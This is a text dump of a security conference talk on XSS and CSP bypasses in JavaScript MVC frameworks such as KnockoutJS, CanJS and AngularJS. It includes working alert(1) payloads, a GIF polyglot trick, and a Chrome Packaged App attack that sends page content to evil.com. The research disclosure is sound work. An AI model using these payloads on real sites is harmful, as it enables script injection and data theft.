SlideShare a Scribd company logo
1 of 56
Download to read offline
JSMVCOMFG
To sternly look at JavaScript MVC and Templating Frameworks
A presentation by Mario Heiderich
mario@cure53.de || @0x6D6172696F
Infosec Hobgoblin
●

Dr.-Ing. Mario Heiderich
●

Researcher and Post-Doc, Ruhr-Uni Bochum
–

●

PhD Thesis on Client Side Security and Defense

Founder of Cure53
–
–

Consulting, Workshops, Trainings

–
●

Penetration Testing Firm
Simply the Best Company of the World

Published author and international speaker
–

Specialized in HTML5 and SVG Security

–

JavaScript, XSS and Client Side Attacks

●

HTML5 Security Cheatsheet

●

And something new!
–

@0x6D6172696F

–

mario@cure53.de
Today
●

JavaScript MVC & Templating Frameworks

●

Why? Because they are becoming popular
●

Yes, we have numbers, wait for it...

●

And they are special

●

Are there security flaws?

●

If yes

(heh.. if..)

what can we learn from them?
What are they
●

Written in JavaScript

●

Often huge

●

Often very complex

●

Often maintained by corporations

●

Interfaces to enable different coding styles

●

Extending, optimizing, changing
●

The way developers work with JavaScript

●

The way web applications used to work
What do they do?
●

Claims
●

●

●

●

“More productive out of the box”

EmberJS

“AngularJS lets you extend HTML vocabulary
for your application” AngularJS
“Fast templates, responsive widgets”
“Simple and intuitive, powerful and
extensible, lightning fast” JsRender

CanJS
Examples
<script type="text/x-handlebars">
{{outlet}}
</script>
<script type="text/x-handlebars"
id="x">
<h1>People</h1>
<ul>
{{#each model}}
<li>Hello, <b>{{fullName}}</b>!
</li>

App = Ember.Application.create();
App.Person = Ember.Object.extend({
firstName: null, lastName: null,
fullName: function() {
return this.get('firstName') +
" " + this.get('lastName');
}.property('firstName', 'lastName')
});
App.IndexRoute = Ember.Route.extend({
model: function() {
var people = [

{{/each}}

App.Person.create({

</ul>

firstName: "Frank",

</script>

lastName: "N. Stein"
}) ];
return people;
}});
Examples
<!doctype html>
<html ng-app>
<head>
<script src="angular.min.js"></script>
</head>
<body>
<div>
<label>Name:</label>
<input type="text" ng-model="yourName" placeholder="Your name">
<hr>
<h1>Hello {{yourName}}!</h1>
</div>
</body>
</html>
Examples
<div class="liveExample" id="x">
<select data-bind="options: tickets,
optionsCaption: 'Choose...',
optionsText: 'name',
value: chosenTicket">
<option value="">Economy</option>
<option value="">Business</option>
<option value="">First Class</option>
</select>
<button data-bind="enable: chosenTicket,
click: resetTicket" disabled="">Clear</button>
<p data-bind="with: chosenTicket"></p>
<script type="text/javascript">
function TicketsViewModel() {
this.tickets = [
{ name: "Economy", price: 199.95 },
{ name: "Business", price: 449.22 },
{ name: "First Class", price: 1199.99 }
];
this.chosenTicket = ko.observable();
this.resetTicket = function() { this.chosenTicket(null) }
}
ko.applyBindings(new TicketsViewModel(), document.getElementById("x"));
</script>
</div>

Binding stuff

Raw Data!

Puttin' it togetha
So..
●

JSMVC Frameworks do the following
●

They extend the DOM

●

They “abstractify” the DOM

●

They provide new interfaces

●

They often use script-templates

or “data blocks”

“The script element allows authors to include

HTML5
HTML5
Approved!
Approved!

dynamic script and data blocks in their documents.”
–
–

Sometimes ERB-style

–
●

Often Mustache-style
Sometimes something completely different

They often use markup-sugar
–

Custom elements, <hellokitty>

–

HTML5 data attributes

WHATWG
Mustache
●

Specified in 2009 by
Wanstrath

●

{{ stuff }}

●

{{#is_true}}
Bla {{/is_true}
JSMVC and Security
●

Initial rationale for security research
●

●

●

It's trending, it's complex, it's different
What else do we need... nothing

Poke-first, analyze later
●

●

●

Pick a target, thanks TodoMVC!
Explore debugging possibilities

Goal: Execute arbitrary JavaScript, maybe more
●

●

Using otherwise uncommon ways

●

●

Using the JSMVC capabilities
Assume injection, assume conventional XSS filter

After poking, derive a metric for JSMMVC security
Pokes
●

Why not start with KnockoutJS
<script src="knockout-2.3.0.js"></script>
<div data-bind="x:alert(1)" />
<script>
ko.applyBindings();
</script>
Wait...
●

JavaScript from within a data-attribute?

●

No extra magic, just the colon?

●

That's right

●

See where we are heading with this?

●

Knockout knocks out XSS filters
●

●

Chrome's XSS Auditor

●

●

IE's XSS Filter
Anything that allows data attributes

This behavior breaks existing security assumptions!
The reason
●

“eval” via “Function”
parseBindingsString: function(b, c, d) {
try {
var f;
if (!(f = this.Na[b])) {
var g = this.Na, e, m = "with($context){with($data||{}){return{"
+ a.g.ea(b) + "}}}";
e = new Function("$context", "$element", m);
f = g[b] = e
}
return f(c, d)
} catch (h) {
throw h.message = "Unable to parse bindings.nBindings value: " + b +
"nMessage: " + h.message, h;
}
}
Keep pokin'
●

CanJS for example
<script src="jquery-2.0.3.min.js"></script>
<script src="can.jquery.js"></script>
<body>
<script type="text/ejs" id="todoList">
<%==($a)->abc})-alert(1)-can.proxy(function(){%>
</script>
<script>
can.view('todoList', {});
</script>
</body>
Reason
●

A copy of “eval” called “myEval”
myEval = function(script) {
eval(script);
},
[...]
var template = buff.join(''),
out = {
out: 'with(_VIEW) { with (_CONTEXT) {' + template + " " + finishTxt +
"}}"
};
// Use `eval` instead of creating a function, because it is easier to debug.
myEval.call(out, 'this.fn = (function(_CONTEXT,_VIEW){' + out.out +
'});rn//@ sourceURL=' + name + ".jjs");
return out;
And even more...
<script src="jquery-1.7.1.min.js"></script>
<script src="kendo.all.min.js"></script>
<div id="x"># alert(1) #</div>
<script>
var template = kendo.template($("#x").html());
var tasks = [{ id: 1}];
var dataSource = new kendo.data.DataSource({ data: tasks });
dataSource.bind("change", function(e) {
var html = kendo.render(template, this.view());
});
dataSource.read();
</script>
Keeeeep Pokin'
●

AngularJS 1.1.x
<script src="angular.min.js"></script>
<div class="ng-app">
{{constructor.constructor('alert(1)')()}}
</div>

●

Or this – even with encoded mustaches
<script src="angular.min.js"></script>
<div class="ng-app">
&#x7b;&#x7b;constructor.constructor('alert(1)')()&#x7d;&#x7d;
</div>
Reason
●

“eval” via “Function”
var code = 'var l, fn, p;n';
forEach(pathKeys, function(key, index) {
code += 'if(s === null || s === undefined) return s;n' +
'l=s;n' +
's=' + (index
// we simply dereference 's' on any .dot notation
? 's'
// but if we are first then we check locals first, and if so read it first
: '((k&&k.hasOwnProperty("' + key + '"))?k:s)') + '["' + key + '"]' + ';n' +
[…]
'}n' +
' s=s.$$vn' +
'}n';
});
code += 'return s;';
fn = Function('s', 'k', code); // s=scope, k=locals
fn.toString = function() {
return code;
};
Sadly for the attacker...
●

They fixed it in 1.2.x

●

Dammit!

●

Good test-cases too! Look...

●

function ensureSafeObject(obj, fullExpression) {
// nifty check if obj is Function that is fast … other contexts
if (obj && obj.constructor === obj) {
throw $parseMinErr('isecfn', 'Referencing Function in Angular
expressions is disallowed!Expression: {0}', fullExpression);
} else {
return obj;
}
Not that hard to solve

var foo = {};
foo.bar = 123;
foo.baz = 456;
console.log(foo.hasOwnProperty('bar'));
console.log(foo.hasOwnProperty('baz'));
console.log(foo.hasOwnProperty('constructor'));
console.log(foo.hasOwnProperty('__proto__'));
console.log(foo.hasOwnProperty('prototype'));

//
//
//
//
//

true
true
false
false
false
CSP
●

Most of the JSMVC will not work with CSP

●

At least not without unsafe-eval

●

That's not gonna help evangelize CSP

●

Although there's hope – AngularJS
<div ng-app ng-csp>
<div ng-app ng-csp>
AngularJS
●

Features a special CSP mode

●

Said to be 30% slower

●

But enables AngularJS to work

●

Even without unsafe-eval or other nasties

●

●

Magick!

It also brings back script injections
<?php
header('X-Content-Security-Policy: default-src 'self');
header('Content-Security-Policy: default-src 'self');
header('X-Webkit-CSP: default-src 'self');
?>
<!doctype html>
<html ng-app ng-csp>
<head>
<script src="angular.min.js"></script>
</head>
<body onclick="alert(1)">
Click me
<h1 ng-mouseover="$event.view.alert(2)">
Hover me
</h1>
</body>

Proper CSP!
How do they do it?
I. Parse the “ng”-attributes
II. Slice out the relevant parts
III. Create anonymous functions
IV. Connect them with events
V. Wait for event handler to fire
$element.onclick=function($event){
$event['view']['alert']('1')
}
●

It's technically not in-line

●

Neither is any “eval” being used
So, enabling the JSMVC to work with CSP
(partly) kills the protection CSP delivers?
Aw, yeah, being a pen-tester these days!
“Packaged apps deliver an experience as capable as a native
app, but as safe as a web page. Just like web apps, packaged
apps are written in HTML5, JavaScript, and CSS.”
Uhm...
“Packaged apps have access to Chrome APIs and services not
available to traditional web sites. You can build powerful apps
that interact with network and hardware devices, media tools,
and much more.”
:-O
It's bad
“Ever played with Chrome Packaged Apps?”

●

Very powerful tools

●

Similar yet not equivalent to extensions

●

Melting the barrier between web and desktop

●

HTML + JS + many APIs

●

CSP enabled by default

●

And work great with AngularJS

(of course)
Doing the Nasty
●

Let's bypass CSP in CPA using Angular

●

And escalate some privileges
Benign

The HTML of

<!doctype html>
<html ng-app ng-csp>
<head>
<script src="angular.min.js"></script>
<script src="controller.js"></script>
<link rel="stylesheet" href="todo.css">
</head>
<body>
<h2>Todo</h2>
<div ng-controller="TodoCtrl">
<span>{{remaining()}} of {{todos.length}} remaining</span>
[ <a href="" ng-click="archive()">archive</a> ]
<ul class="unstyled">
<li ng-repeat="todo in todos">
<input type="checkbox" ng-model="todo.done">
<span class="done-{{todo.done}}">{{todo.text}}</span>
</li>
</ul>
</div>
</body>
</html>

our fancy app
Benign
function TodoCtrl($scope) {
$scope.todos = [
{text:'learn angular', done:true},
{text:'build an angular app', done:false}];
$scope.remaining = function() {
var count = 0;
angular.forEach($scope.todos, function(todo) {
count += todo.done ? 0 : 1;
});
return count;
};
$scope.archive = function() {
var oldTodos = $scope.todos;
$scope.todos = [];
angular.forEach(oldTodos, function(todo) {
if (!todo.done) $scope.todos.push(todo);
});
};
}

Our Controller
Code, AngularJS
Benign
{
"manifest_version": 2,
"name": "Lab3b MVC with controller",
"permissions": ["webview"],
"version": "1",
"app": {
"background": {
"scripts": ["main.js"]
}
},
"icons": { "128": "icon.png" }
}

The Manifest,
Permissions too
Attacked
<!doctype html>
<html ng-app ng-csp>
<head>
<script src="angular.min.js"></script>
<script src="controller.js"></script>
<link rel="stylesheet" href="todo.css">
</head>
<body>
<h2 ng-click="invalid(
w=$event.view,
x=w.document.createElement('webview'),
x.src='http://evil.com/?'+w.btoa(w.document.body.innerHTML),
w.document.body.appendChild(x)
)">Todo-shmoodoo</h2>
<div ng-controller="TodoCtrl">
<span>{{remaining()}} of {{todos.length}} remaining</span>
[ <a href="" ng-click="archive()">archive</a> ]
<ul class="unstyled">
<li ng-repeat="todo in todos">
<input type="checkbox" ng-model="todo.done">
<span class="done-{{todo.done}}">{{todo.text}}</span>
</li>
</ul>
</div>
</body>
</html>

Oh, Sh*t!
Happy testing –
there's a lot more to find!
For example this...
<div class="ng-include:'//ø.pw'">
More CSP Bypasses

●

And even a much better one
●

●

Upload a GIF

●

●

Inject a class attribute
Get a free AngularJS + HTML5 CSP Bypass

Wanna see?
Let's upload a pic!

<span
class="ng-include:'test.gif'">
</span>
Now we inject a class attribute

It's a valid GIF but also
contains payload!

– including the image as
HTML!

Now it imports itself
<link rel="import" href="test.gif">

Thereby loads itself as JS
<script src="test.gif"></script>

“And pop goes the weasel”
“It looks like we will agree to disagree on the importance of the
HTML imports issue -- we don't think it's possible for a third
party to execute arbitrary Javascript via the process you
describe, so the risk of unsanitized HTML would be one that the
developer was taking on deliberately.”
Quick Recap
●

What have we seen today
●

Rotten Markup-Sugar

●

JavaScript exec. from data-attributes

●

JavaScript exec. from any element

●

JavaScript exec. within encoded mustache

●

A full-blown CSP Bypass

●

The reasons for all these

●

Oh – and an attack against Chrome Packaged Apps

●

And it was just the tip of the iceberg

●

Lots of “eval” and bad coding practices
“Markup-Sugar
considered
dangerous”
Metrics
●

While root causes persist, new challenges arise

●

We need to build metrics

●

After having analyzed 12 frameworks: Here's a proposal
{}SEC-A Are template expressions equivalent to a JavaScript eval?
{}SEC-B Is the the execution scope well isolated or sand-boxed?
{}SEC-C Can arbitrary HTML elements serve as template containers?
{}SEC-D Does the framework allow, encourage or even enforce
separation of code and content?
{}SEC-E Does the framework maintainer have a security response
program?
{}SEC-F Does the Framework allow safe CSP rules to be used
Conclusion
●

JSMVC requires new security requirements

●

No reflected content from the server within template containers

●

Sometimes, everything is a template container

●

Strict separation is necessary

●

And there is hope!

●

Maybe JSMVC eliminates XSS

●

Because it changes how we design applications.

●

And does by boosting and not hindering productivity

●

Interested in collaborating on this? Contact me!
The End
●

Questions?

●

Comments?

More Related Content

What's hot

An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...joaomatosf_
 
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Christian Schneider
 
The innerHTML Apocalypse
The innerHTML ApocalypseThe innerHTML Apocalypse
The innerHTML ApocalypseMario Heiderich
 
Node JS Crash Course
Node JS Crash CourseNode JS Crash Course
Node JS Crash CourseHaim Michael
 
Pentesting GraphQL Applications
Pentesting GraphQL ApplicationsPentesting GraphQL Applications
Pentesting GraphQL ApplicationsNeelu Tripathy
 
A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMFrans Rosén
 
MongoDB at Baidu
MongoDB at BaiduMongoDB at Baidu
MongoDB at BaiduMat Keep
 
What should a hacker know about WebDav?
What should a hacker know about WebDav?What should a hacker know about WebDav?
What should a hacker know about WebDav?Mikhail Egorov
 
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webappsMikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webappshacktivity
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsMikhail Egorov
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking themMikhail Egorov
 
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sitesHacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sitesMikhail Egorov
 
Omnisearch in AEM 6.2 - Search All the Things
Omnisearch in AEM 6.2 - Search All the ThingsOmnisearch in AEM 6.2 - Search All the Things
Omnisearch in AEM 6.2 - Search All the ThingsJustin Edelson
 
[143] Modern C++ 무조건 써야 해?
[143] Modern C++ 무조건 써야 해?[143] Modern C++ 무조건 써야 해?
[143] Modern C++ 무조건 써야 해?NAVER D2
 
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItAMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItNikhil Mittal
 
Defending against Java Deserialization Vulnerabilities
 Defending against Java Deserialization Vulnerabilities Defending against Java Deserialization Vulnerabilities
Defending against Java Deserialization VulnerabilitiesLuca Carettoni
 
Exploiting Deserialization Vulnerabilities in Java
Exploiting Deserialization Vulnerabilities in JavaExploiting Deserialization Vulnerabilities in Java
Exploiting Deserialization Vulnerabilities in JavaCODE WHITE GmbH
 

What's hot (20)

An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
 
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
 
The innerHTML Apocalypse
The innerHTML ApocalypseThe innerHTML Apocalypse
The innerHTML Apocalypse
 
Node JS Crash Course
Node JS Crash CourseNode JS Crash Course
Node JS Crash Course
 
Pentesting GraphQL Applications
Pentesting GraphQL ApplicationsPentesting GraphQL Applications
Pentesting GraphQL Applications
 
A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEM
 
MongoDB at Baidu
MongoDB at BaiduMongoDB at Baidu
MongoDB at Baidu
 
What should a hacker know about WebDav?
What should a hacker know about WebDav?What should a hacker know about WebDav?
What should a hacker know about WebDav?
 
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webappsMikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking them
 
Nodejs
NodejsNodejs
Nodejs
 
Javascript
JavascriptJavascript
Javascript
 
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sitesHacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sites
 
Airflow introduction
Airflow introductionAirflow introduction
Airflow introduction
 
Omnisearch in AEM 6.2 - Search All the Things
Omnisearch in AEM 6.2 - Search All the ThingsOmnisearch in AEM 6.2 - Search All the Things
Omnisearch in AEM 6.2 - Search All the Things
 
[143] Modern C++ 무조건 써야 해?
[143] Modern C++ 무조건 써야 해?[143] Modern C++ 무조건 써야 해?
[143] Modern C++ 무조건 써야 해?
 
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItAMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
 
Defending against Java Deserialization Vulnerabilities
 Defending against Java Deserialization Vulnerabilities Defending against Java Deserialization Vulnerabilities
Defending against Java Deserialization Vulnerabilities
 
Exploiting Deserialization Vulnerabilities in Java
Exploiting Deserialization Vulnerabilities in JavaExploiting Deserialization Vulnerabilities in Java
Exploiting Deserialization Vulnerabilities in Java
 

Viewers also liked

Scriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillScriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillMario Heiderich
 
AngularJS Security: defend your Single Page Application
AngularJS Security: defend your Single Page Application AngularJS Security: defend your Single Page Application
AngularJS Security: defend your Single Page Application Carlo Bonamico
 
Single-Page-Application & REST security
Single-Page-Application & REST securitySingle-Page-Application & REST security
Single-Page-Application & REST securityIgor Bossenko
 
Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Mario Heiderich
 
(Не)безопасный frontend
(Не)безопасный frontend(Не)безопасный frontend
(Не)безопасный frontendSergey Belov
 
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Mario Heiderich
 
Sparkly Notebook: Interactive Analysis and Visualization with Spark
Sparkly Notebook: Interactive Analysis and Visualization with SparkSparkly Notebook: Interactive Analysis and Visualization with Spark
Sparkly Notebook: Interactive Analysis and Visualization with Sparkfelixcss
 
ng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applicationsng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS ApplicationsKevin Hakanson
 
Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...
Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...
Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...Matt Raible
 
Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)Stormpath
 
Big Data visualization with Apache Spark and Zeppelin
Big Data visualization with Apache Spark and ZeppelinBig Data visualization with Apache Spark and Zeppelin
Big Data visualization with Apache Spark and Zeppelinprajods
 

Viewers also liked (15)

Scriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillScriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the Sill
 
AngularJS Security: defend your Single Page Application
AngularJS Security: defend your Single Page Application AngularJS Security: defend your Single Page Application
AngularJS Security: defend your Single Page Application
 
Single-Page-Application & REST security
Single-Page-Application & REST securitySingle-Page-Application & REST security
Single-Page-Application & REST security
 
AngularJS
AngularJSAngularJS
AngularJS
 
Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8
 
Hash DoS Attack
Hash DoS AttackHash DoS Attack
Hash DoS Attack
 
(Не)безопасный frontend
(Не)безопасный frontend(Не)безопасный frontend
(Не)безопасный frontend
 
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
 
Sparkly Notebook: Interactive Analysis and Visualization with Spark
Sparkly Notebook: Interactive Analysis and Visualization with SparkSparkly Notebook: Interactive Analysis and Visualization with Spark
Sparkly Notebook: Interactive Analysis and Visualization with Spark
 
ng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applicationsng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applications
 
Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...
Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...
Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...
 
Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)
 
Web Wuermer
Web WuermerWeb Wuermer
Web Wuermer
 
Big Data visualization with Apache Spark and Zeppelin
Big Data visualization with Apache Spark and ZeppelinBig Data visualization with Apache Spark and Zeppelin
Big Data visualization with Apache Spark and Zeppelin
 
SlideShare 101
SlideShare 101SlideShare 101
SlideShare 101
 

Similar to JSMVCOMFG Frameworks Security Risks

StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015CODE BLUE
 
GDayX - Advanced Angular.JS
GDayX - Advanced Angular.JSGDayX - Advanced Angular.JS
GDayX - Advanced Angular.JSNicolas Embleton
 
Reviewing AngularJS
Reviewing AngularJSReviewing AngularJS
Reviewing AngularJSLewis Ardern
 
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...tdc-globalcode
 
Modern Web Technologies
Modern Web TechnologiesModern Web Technologies
Modern Web TechnologiesPerttu Myry
 
gDayX 2013 - Advanced AngularJS - Nicolas Embleton
gDayX 2013 - Advanced AngularJS - Nicolas EmbletongDayX 2013 - Advanced AngularJS - Nicolas Embleton
gDayX 2013 - Advanced AngularJS - Nicolas EmbletonGeorge Nguyen
 
20141002 delapsley-socalangularjs-final
20141002 delapsley-socalangularjs-final20141002 delapsley-socalangularjs-final
20141002 delapsley-socalangularjs-finalDavid Lapsley
 
gDayX - Advanced angularjs
gDayX - Advanced angularjsgDayX - Advanced angularjs
gDayX - Advanced angularjsgdgvietnam
 
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)Igor Bronovskyy
 
Security on Rails
Security on RailsSecurity on Rails
Security on RailsDavid Paluy
 
EP2016 - Moving Away From Nodejs To A Pure Python Solution For Assets
EP2016 - Moving Away From Nodejs To A Pure Python Solution For AssetsEP2016 - Moving Away From Nodejs To A Pure Python Solution For Assets
EP2016 - Moving Away From Nodejs To A Pure Python Solution For AssetsAlessandro Molina
 
Introduction of angular js
Introduction of angular jsIntroduction of angular js
Introduction of angular jsTamer Solieman
 
Angular JS, steal the idea
Angular JS, steal the ideaAngular JS, steal the idea
Angular JS, steal the ideaScott Lee
 

Similar to JSMVCOMFG Frameworks Security Risks (20)

StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
 
Nicolas Embleton, Advanced Angular JS
Nicolas Embleton, Advanced Angular JSNicolas Embleton, Advanced Angular JS
Nicolas Embleton, Advanced Angular JS
 
Wt unit 2 ppts client sied technology
Wt unit 2 ppts client sied technologyWt unit 2 ppts client sied technology
Wt unit 2 ppts client sied technology
 
Wt unit 2 ppts client side technology
Wt unit 2 ppts client side technologyWt unit 2 ppts client side technology
Wt unit 2 ppts client side technology
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
 
GDayX - Advanced Angular.JS
GDayX - Advanced Angular.JSGDayX - Advanced Angular.JS
GDayX - Advanced Angular.JS
 
Reviewing AngularJS
Reviewing AngularJSReviewing AngularJS
Reviewing AngularJS
 
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
 
Modern Web Technologies
Modern Web TechnologiesModern Web Technologies
Modern Web Technologies
 
Webpack
Webpack Webpack
Webpack
 
The MEAN stack
The MEAN stack The MEAN stack
The MEAN stack
 
gDayX 2013 - Advanced AngularJS - Nicolas Embleton
gDayX 2013 - Advanced AngularJS - Nicolas EmbletongDayX 2013 - Advanced AngularJS - Nicolas Embleton
gDayX 2013 - Advanced AngularJS - Nicolas Embleton
 
20141002 delapsley-socalangularjs-final
20141002 delapsley-socalangularjs-final20141002 delapsley-socalangularjs-final
20141002 delapsley-socalangularjs-final
 
Introduction to AngularJS
Introduction to AngularJSIntroduction to AngularJS
Introduction to AngularJS
 
gDayX - Advanced angularjs
gDayX - Advanced angularjsgDayX - Advanced angularjs
gDayX - Advanced angularjs
 
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
 
Security on Rails
Security on RailsSecurity on Rails
Security on Rails
 
EP2016 - Moving Away From Nodejs To A Pure Python Solution For Assets
EP2016 - Moving Away From Nodejs To A Pure Python Solution For AssetsEP2016 - Moving Away From Nodejs To A Pure Python Solution For Assets
EP2016 - Moving Away From Nodejs To A Pure Python Solution For Assets
 
Introduction of angular js
Introduction of angular jsIntroduction of angular js
Introduction of angular js
 
Angular JS, steal the idea
Angular JS, steal the ideaAngular JS, steal the idea
Angular JS, steal the idea
 

More from Mario Heiderich

Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Mario Heiderich
 
Dev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityMario Heiderich
 
HTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyHTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyMario Heiderich
 
I thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupMario Heiderich
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010Mario Heiderich
 
